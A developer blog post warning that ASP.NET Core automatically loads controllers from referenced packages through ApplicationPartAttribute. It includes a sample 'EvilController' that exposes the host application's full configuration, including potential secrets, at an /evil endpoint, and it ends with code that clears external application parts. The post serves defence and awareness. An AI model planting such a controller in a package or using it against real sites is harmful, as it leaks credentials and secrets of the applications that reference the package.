ASP.NET Core ApplicationPart & EvilController 😱

Do you blindly trust third-party libraries? What if this package contains e.g. following code and you reference it in your ASP.NET Core project?

Do you blindly trust third-party libraries?
What if this package contains e.g. following code and you reference it in your ASP.NET Core project?

[ApiController]
[Route("[controller]")]
public class EvilController : ControllerBase
{
    [HttpGet]
    public IEnumerable<KeyValuePair<string, string>> Get()
    {
        var configuration = HttpContext.RequestServices.GetService(typeof(IConfiguration)) as IConfiguration;

        return configuration.AsEnumerable().OrderBy(p => p.Key);
    }
}

If author (attacker) calls your-site-url/evil, than can get the following result:

Of course the code in this controller can be more dangerous.

Do not believe? Try this demo.

Surprising?

At first glance, yes. Documentation and blog posts say that if we want to add controllers from external assemblies, we need to add ApplicationPart by calling mvcBuilder.AddApplicationPart(assembly);.
But we do not call anything like this. So why is external EvilController discovered?

Answer is AspNet Core build tooling and ApplicationPartAttribute.

AspNet Core build tooling discovers dependencies that reference MVC features (in dependencies tree) and add them as ApplicationPartAttribute to your assembly (during build time). When ASP.NET Core application starts, it use the ApplicationPartManger for adding external assembly as ApplicationParts. By default, ApplicationPartManager searches for ApplicationPartAttribute. That's why the package with EvilController is added as an ApplicationPart to your application.

How to avoid it?

Do not use suspicious packages! 😊

Okay, but what if I don't want to study the external library in detail and still want to use it?

In this case, you can remove external application parts from your application. For example:

public void ConfigureServices(IServiceCollection services)
{
    services.AddControllers()
        .ConfigureApplicationPartManager(o =>
        {
            o.ApplicationParts.Clear();
            o.ApplicationParts.Add(new AssemblyPart(typeof(Startup).Assembly);
        });
}

References